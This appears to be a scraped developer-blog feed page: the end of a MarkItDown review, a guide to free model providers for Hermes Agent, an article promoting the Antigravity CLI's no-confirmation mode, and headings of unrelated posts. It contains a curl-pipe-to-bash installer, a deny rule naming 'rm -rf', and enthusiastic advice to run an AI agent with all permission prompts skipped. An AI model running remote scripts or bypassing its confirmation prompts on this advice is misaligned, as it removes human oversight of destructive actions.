The recommendation from the project is to avoid passing untrusted input directly to .convert(). If you only need to convert local files, use convert_local(). If you need to handle streams, use convert_stream(). Prefer the narrowest API for your use case.

This is standard advice for any file processing library, but it is worth calling out explicitly if you are building a web-facing feature.

Is It Worth Using?

The honest answer: it depends on what you need it for.

MarkItDown is a good fit if:

You are building an LLM pipeline that needs to ingest documents in various formats.
You want a consistent Python API across PDF, Word, Excel, HTML, and other types without gluing together multiple libraries.
You need a quick CLI tool to batch-convert files for indexing or embedding.
You want the flexibility to extend conversion behavior via plugins.

MarkItDown is not the right tool if:

You need pixel-perfect conversion for human consumption. The project documentation explicitly says the output is meant for text analysis tools, not high-fidelity document rendering.
You need production OCR without LLM dependencies. The OCR plugin requires an OpenAI-compatible client, which adds latency and cost.
You are working with heavily formatted documents where layout matters beyond headings and tables (e.g., multi-column academic papers, complex invoice layouts).

Quick Reference

Task	Command
Install all formats	`pip install 'markitdown[all]'`
Convert via CLI	`markitdown file.pdf -o output.md`
Convert via Python	`MarkItDown().convert("file.pdf").text_content`
Convert with LLM images	Pass `llm_client` and `llm_model` to `MarkItDown()`
Enable OCR plugin	`pip install markitdown-ocr`, then `enable_plugins=True`
Use Azure Doc Intelligence	Pass `docintel_endpoint` to `MarkItDown()`
Run via Docker	`docker run --rm -i markitdown:latest < file.pdf > output.md`

GitHub: https://github.com/microsoft/markitdown

Free Model Providers to Use with Hermes Agent

Dale Nguyen — Fri, 29 May 2026 04:12:02 GMT

Hermes Agent by NousResearch is an open-source AI agent that does something most frameworks do not: it learns from experience. It creates skills during use, refines its memory across sessions, and supports parallel subagents and a built-in cron scheduler. You can run it on a $5 VPS, a GPU cluster, or serverless infrastructure.

The part that makes it immediately approachable is its provider flexibility. Hermes supports 200+ models across a growing list of providers, and you switch between them with a single command — no code changes. That means you can get started entirely on free tiers before committing to a paid API.

This post covers which free providers work with Hermes Agent and how to get up and running with each.

Installing Hermes Agent

curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash
source ~/.bashrc
hermes

That drops you into the interactive CLI. Run hermes setup to walk through the full configuration wizard, or hermes setup --portal to connect via Nous Portal (their own hosted service with OAuth, which consolidates all your API keys into one subscription).

Switching providers

Once installed, switching providers is a single command:

hermes model

Or inline during a conversation: /model [provider:model]

No config file edits, no restarts. This is what makes free-tier exploration practical — you can try a model, hit a rate limit, and switch to another in seconds.

Free providers supported by Hermes Agent

Nous Portal

Nous Portal is Hermes's native provider. It consolidates model access, web search, image generation, and TTS under one subscription. If you want the tightest integration with Hermes and the Nous ecosystem, this is the starting point. Check their current free tier on signup.

OpenRouter

OpenRouter is the most flexible free option. It gives you access to 200+ models — including Llama 4, DeepSeek, Gemma, and Mistral — through a single API key. The free tier covers 27+ models (marked with a :free suffix) at 200 requests per day and 20 requests per minute.

Because Hermes supports OpenRouter natively, you can point it at any of those free models immediately. This is the best option if you want to compare how Hermes behaves across different underlying models without managing multiple accounts.

NVIDIA NIM

NVIDIA NIM gives you free API credits on signup with no credit card required. The catalog includes 80+ models — Llama 4, Qwen, Mistral, and NousResearch's own Hermes 3 model — at roughly 40 requests per minute. Credits do not expire.

NIM is the best free option if you specifically want to run a NousResearch model underneath Hermes Agent, since it hosts the Hermes 3 fine-tune directly.

Hugging Face

Hugging Face Inference Providers gives every account monthly free credits routed across a network of inference providers (Groq, Together, SambaNova, and others). Hermes Agent supports HuggingFace natively.

The free tier is best for trying niche or smaller models. Cold starts can be slow on the free tier, so it is less suitable for long interactive sessions but fine for batch tasks or evaluation.

NovitaAI

NovitaAI is a cost-efficient inference provider with a generous free tier for new accounts. Hermes supports it natively. It is worth trying if OpenRouter and NVIDIA NIM rate limits become a bottleneck during heavy agent development.

Kimi / Moonshot

Kimi (by Moonshot AI) offers a free tier with long-context models. Hermes Agent lists it as a supported provider. Particularly useful if your agent tasks involve processing large documents or long conversation histories that would exhaust the context windows of other free-tier models.

Provider comparison at a glance

Provider	Free Tier	Best for with Hermes
Nous Portal	Check on signup	Tightest Hermes integration
OpenRouter	200 req/day, 27+ free models	Model variety, easy switching
NVIDIA NIM	Credits on signup, no expiry	Running NousResearch models
Hugging Face	Monthly credits	Niche models, batch tasks
NovitaAI	Free credits on signup	Alternative when hitting rate limits
Kimi / Moonshot	Free tier	Long-context tasks

Tips for running Hermes on free tiers

Rate limits compound in agentic loops. Hermes's learning loop and subagent features can make many model calls per task. At 20 req/min (OpenRouter free), a multi-step task hits the ceiling quickly. Use hermes model to switch to a provider with a higher limit mid-session, or configure a fallback provider.

Use NVIDIA NIM for NousResearch models specifically. If you want the model that Hermes was designed around — the Hermes 3 fine-tune — NIM hosts it directly at nousresearch/hermes-3-llama-3.1-70b. The free credits cover meaningful development without hitting a daily request cap.

OpenRouter first for exploration. Its unified free tier across 27+ models is the fastest way to understand how Hermes Agent behaves with different underlying models. No separate accounts, one key, switch with /model.

Run hermes doctor when something breaks. The built-in diagnostics command checks your provider configuration and surfaces misconfigurations before you spend time debugging the wrong thing.

Summary

Hermes Agent is one of the few open-source agents with a genuine learning loop built in, and its multi-provider support means you are not locked into any single API. To get started for free: install Hermes, run hermes setup, and connect OpenRouter or NVIDIA NIM — both work out of the box with no credit card. Switch models with hermes model as you explore what works best for your use case.

Using Google's New AI Command-Line Assistant: Antigravity CLI (agy) and YOLO's No-Confirmation Mode

Evan Lin — Wed, 27 May 2026 09:44:36 GMT

Background

With generative AI entering daily development, the AI assistant in the terminal has also ushered in an epic update! If you are a loyal supporter of the original Gemini CLI, you may already know that this tool will be officially retired on June 18, 2026.

Taking over the torch of this era is Google's stunning launch at I/O 2026, the next-generation lightweight, Go language-driven multi-agent terminal UI assistant —— Antigravity CLI (called agy in the terminal)!

However, the launch of new tools is always accompanied by various pitfalls and surprises. This article will focus on Antigravity CLI (agy), revealing how to deal with the "invisible color scheme hell", how to enable the addictive YOLO no-confirmation frenzy mode, and those terminal black technologies and setting secrets hidden deep within settings.json!

🛠️ Step 1: Antigravity CLI (agy) Color Scheme Savior for Invisible Text!

When installing and launching agy for the first time, the first blow that many developers accustomed to macOS / Linux dark background terminals usually face is: "The font is all black, and the text is completely invisible!"

This is because the agy default configuration file may be configured with a light (Light) theme. We don't need to compromise and change our favorite terminal background, just modify settings.json and it can be saved with one click!

🛠️ Steps to Fill the Pit

Find the global configuration file for Antigravity CLI, the path is usually: ~/.gemini/antigravity-cli/settings.json
Modify the "colorScheme" setting value from "light" to "dark":
After saving the file and restarting the terminal, all outputs will automatically convert to a high-contrast dark mode color scheme, and your eyes will be saved instantly!

🔥 The Main Event: YOLO Mode —— Unlock the "No Confirmation" Ultimate Move for Unlimited Automated Execution

When using AI to write code, the most annoying thing is that every time you make a file modification and execute a git command, the CLI will pop up a question: "Are you sure you want to perform this operation? (y/N)". This is simply a double torment of fingers and spirit when performing large-scale refactoring or batch tasks.

To this end, agy provides two levels of YOLO (You Only Live Once) no-confirmation automatic execution mode, allowing AI to smoothly and continuously execute autonomously until the task is completed:

1. ⚡ Extreme YOLO: `--dangerously-skip-permissions` Parameter

If you are in a completely isolated and secure sandbox environment, or have 100% confidence in the instructions generated by AI, you can add this ultimate move when starting:

agy --dangerously-skip-permissions

Once this Flag is added, agy will completely skip all tool authorization and command execution confirmation prompts, and enter an "all the way to the top" automatic execution state. Suitable for letting it run complex automated tests or file migrations on its own!

2. 🛡️ Moderate Control: `/permissions` Fine-grained Settings

If you don't want to risk the AI executing rm -rf, you can directly enter /permissions in the CLI or directly modify settings.json. Through a whitelist mechanism, only specific commands or paths are automatically approved:

{
  "permissions": {
    "allow": [
      "read_file(/Users/al03034132/Documents)",
      "command(git)",
      "command(npm test)"
    ],
    "deny": [
      "command(rm -rf)"
    ]
  }
}

This way, you can allow Git operations and unit tests to enter the YOLO no-confirmation state, while also ensuring the security of the core file system!

🤫 Those Unknown agy Black Technologies and Setting Secrets

As Google's latest official Code-first agent weapon, agy also has several hidden functions deep within the configuration file and commands, which are rarely seen in newspapers:

🧩 1. Asynchronous Subagents

This is definitely agy's most revolutionary multi-agent architecture! You can directly call multiple subagents in the terminal to run complex tasks in the background:

For example: one subagent goes online to check the latest API documentation, one runs unit tests in the background, and one performs code refactoring.
And your main terminal will not be blocked at all! You can enter /agents to monitor the health and execution progress of all subagents in the background at any time.

🧠 2. Change Brains at Any Time: `/model` Secret

agy not only supports the Gemini series models on Vertex AI, but if you need to, you can also use the built-in /model slash command to directly switch seamlessly between Gemini, Claude, and even other open-source models with one click, helping you verify the same bug with different thinking models, which is super convenient!

🛡️ 3. Multi-Operating System Level Security Sandbox (Terminal Sandbox)

In order to prevent AI from running out of control malicious code in YOLO mode, agy silently implements operating system level sandbox protection at the bottom!

nsjail isolation will be automatically enabled on Linux.
macOS will automatically call the system's native sandbox-exec.
Even if AI writes a script that pollutes the file system, it will be perfectly confined in the sandbox and unable to move!

📦 4. Upgrade Old Things: Seamless Migration Mechanism from Gemini CLI

Although Gemini CLI has gone down in history, agy has thoughtfully designed a "one-click import tool". When you start agy for the first time, it will automatically scan the old configuration path and perfectly align and migrate your original plugins, custom skills, and settings.json accumulated in Gemini CLI!

Summary and Suggestions

The upgrade from Gemini CLI to Antigravity CLI (agy) is not just a change in the command line name, but a leap forward from single-model question and answer to Multi-Agent Workflows.

By properly setting permissions in settings.json, combined with the no-confirmation function of YOLO mode, developers can allow AI to automatically and smoothly complete various medium and large tasks while ensuring the security of the host.

Quickly open your terminal and enter agy --dangerously-skip-permissions to experience this futuristic development artifact! See you next time for the actual combat!

DEV.to - Trending Guides

TryHackMe : Infinity Pool Writeup

Summary

Recon

Vulnerability - OS Command Injection in /internal/netcheck

Getting the reverse shell to fire

Root cause confirmed in source

Foothold - User Flag

Privilege Escalation

Enumeration as web

Credential leak via Watchtower

Getting into the UCP dashboard

Leaking the automation key through a voicemail CID

Root via second command injection (automation service)

Root Flag

Key Vulnerabilities

Attack Chain

Mitigations

Jack Dorsey's Buzz: The Dev Workflow Game Changer We Didn't Know We Needed?

The "Why" Behind the Buzz: One Ring to Rule Them All?

AI Agents: More Than Just Smart Bots

Git Hosting & Chat: A Symbiotic Relationship

The Future of Dev Tools and SaaS: A Unified Front?

TypeScript 7 is officially released! 🚨

👀 What did they do?

⚙️ Functional changes

💬 My opinion

Why Your TypeScript 7 Upgrade Broke ESLint, ts-jest, and ts-morph

The 10-second version

Why this is happening

What's actually broken right now

The side-by-side fix

When to cut over

ZeroScript 1.4.0: Free AI Agent for Roblox Studio Now Connects to Other MCP Servers (Blender, Ske...

How it works

What's new in 1.4.0

What the AI can actually do in Studio

Getting started

Links

Now you can run opencode on termux :)

How to Run Open Code on Termux for Free: The Definitive Guide

The Architecture: How It Works Without Root

Step-by-Step Installation Guide

Step 1: Install or Update Cortermux

Step 2: Install Open Code Individually

Step 3: Launch and Initialize

Working with Free Models and Features

Credits & Featured Links

HTTP Just Got Its First New Method in 20 Years. Here's Why You Should Care.

The problem in 30 seconds

What QUERY does

This pattern is going to change

Compatibility: where we are right now

How our apps will change

1. The fake POST endpoints disappear

2. Retry logic gets simpler

3. Caching layers move down the stack

4. GraphQL gets a proper home

5. URLs get readable again

6. Reading an API becomes self-documenting

What I would do now

Use Fable 5 where it pays for itself

Make Fable 5 the lead, not the labor

The hard part is the subagents

ccteams: install the team design in one command

The models are already assigned

Adding Codex as the peer engineer

Back to "add rate limiting"

In short

The new HTTP method : QUERY

The GET Method Problem

What About Using POST instead?

The Solution: QUERY

Summary: GET vs POST vs QUERY

Conclusion

⚠️ Deployment Status

Next Step: QUERY in Practice

Ponytail: The AI Coding Skill Taking GitHub by Storm — And the One Question Nobody's Answered Yet

The Archetype That Started It All

The Decision Ladder

The `GET` Method Problem

What About Using `POST` instead?

The Solution: `QUERY`